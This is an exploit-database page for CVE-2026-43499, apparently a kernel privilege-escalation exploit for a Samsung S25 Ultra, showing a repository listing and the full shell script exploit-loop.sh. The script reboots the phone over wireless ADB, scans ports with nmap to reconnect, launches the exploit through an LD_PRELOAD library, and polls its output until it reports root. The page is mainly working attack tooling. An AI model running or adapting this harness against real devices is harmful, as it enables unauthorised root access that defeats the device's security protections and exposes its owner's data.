Exploit databaseDownload repository ZIP
GH-db7da84d54683112c35bca5299b3da20
li-dahua/s25u-ghostlock-kernelsu-lkm
Sources for CVE-2026-43499
166 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files5
li-dahua/s25u-ghostlock-kernelsu-lkmRevision b3b334295593
- ↑..Parent directory
- exploit-loop.sh
- recover-root.sh
- root-loop-wifi.sh
- root-loop-wifi2.sh
- root-recover-usb.sh
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
scripts/exploit-loop.sh
Shell · 2,344 bytes#!/usr/bin/env bash
# 反复「重启 -> 跑 exploit -> 查结果」,直到拿到 root 或轮数用完
# 用法: bash exploit-loop.sh [轮数] [额外环境变量...]
set -u
IP="${IP:-192.168.0.189}"
ROUNDS="${1:-4}"
shift || true
EXTRA_ENV="$*"
LOG=/tmp/exploit-loop.log
: > "$LOG"
say() { echo "[$(date +%H:%M:%S)] $*" | tee -a "$LOG"; }
find_port() {
# 扫描高位端口,逐个 adb connect,返回第一个 "device" 的端口
local ports p
ports=$(timeout 80 nmap -Pn -p 30000-65535 --open -T4 "$IP" 2>/dev/null | grep -oE '^[0-9]+' | head -6)
for p in $ports; do
timeout 10 adb connect "$IP:$p" >/dev/null 2>&1
sleep 2
if adb devices | grep -q "$IP:$p[[:space:]]*device"; then echo "$p"; return 0; fi
done
return 1
}
for r in $(seq 1 "$ROUNDS"); do
say "=========== ROUND $r / $ROUNDS ==========="
cur=$(adb devices | awk '/^'"$IP"':[0-9]+[[:space:]]+device/{print $1; exit}')
[ -z "$cur" ] && cur=$(adb devices | awk '/^[0-9.]+:[0-9]+[[:space:]]+device/{print $1; exit}')
adb -s "$cur" reboot >/dev/null 2>&1
say "reboot sent via $cur, waiting 55s"
sleep 55
port=""
for attempt in 1 2 3 4 5; do
port=$(find_port) && break
say "port scan attempt $attempt failed, retry in 15s"
sleep 15
done
if [ -z "$port" ]; then say "ROUND $r: no adb port found, abort"; exit 2; fi
SER="$IP:$port"
say "ROUND $r: connected as $SER"
sleep 20 # 让系统负载降下来
out="run_r${r}.out"
adb -s "$SER" shell "cd /data/local/tmp; rm -f $out; nohup sh -c 'env $EXTRA_ENV LD_PRELOAD=/data/local/tmp/preload.so id > /data/local/tmp/$out 2>&1' >/dev/null 2>&1 &" >/dev/null 2>&1
say "ROUND $r: exploit started -> /data/local/tmp/$out (env: ${EXTRA_ENV:-default})"
ok=0
for t in $(seq 1 12); do
sleep 10
line=$(timeout 15 adb -s "$SER" shell "grep -a 'pipe physrw' /data/local/tmp/$out 2>/dev/null | tail -1" 2>/dev/null | tr -d '\r')
[ -n "$line" ] && say "ROUND $r: $line"
case "$line" in
*root=1*) ok=1; break ;;
esac
# 设备掉线就直接进下一轮
adb devices | grep -q "$SER[[:space:]]*device" || { say "ROUND $r: device went offline"; break; }
done
if [ "$ok" = 1 ]; then
say "ROUND $r: *** ROOT OK ***"
echo "$SER" > /tmp/root_serial.txt
exit 0
fi
say "ROUND $r: failed"
done
say "all rounds failed"
exit 1